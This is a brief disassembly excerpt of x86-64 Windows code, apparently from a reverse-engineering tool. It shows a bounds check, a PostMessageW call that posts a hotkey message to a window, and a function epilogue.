cmp eax, 0x3e8
ja 0x14000c43d
movzx r8d, word [rbp + 4]
xor r9d, r9d
mov rcx, qword [0x140105d70]
mov edx, 0x312
call qword [sym.imp.USER32.dll_PostMessageW]
mov rsi, qword [rsp + 0x1050]
mov rdi, qword [rsp + 0x1058]
mov rbx, qword [rsp + 0x1060]
add rsp, 0x1040
pop rbp
ret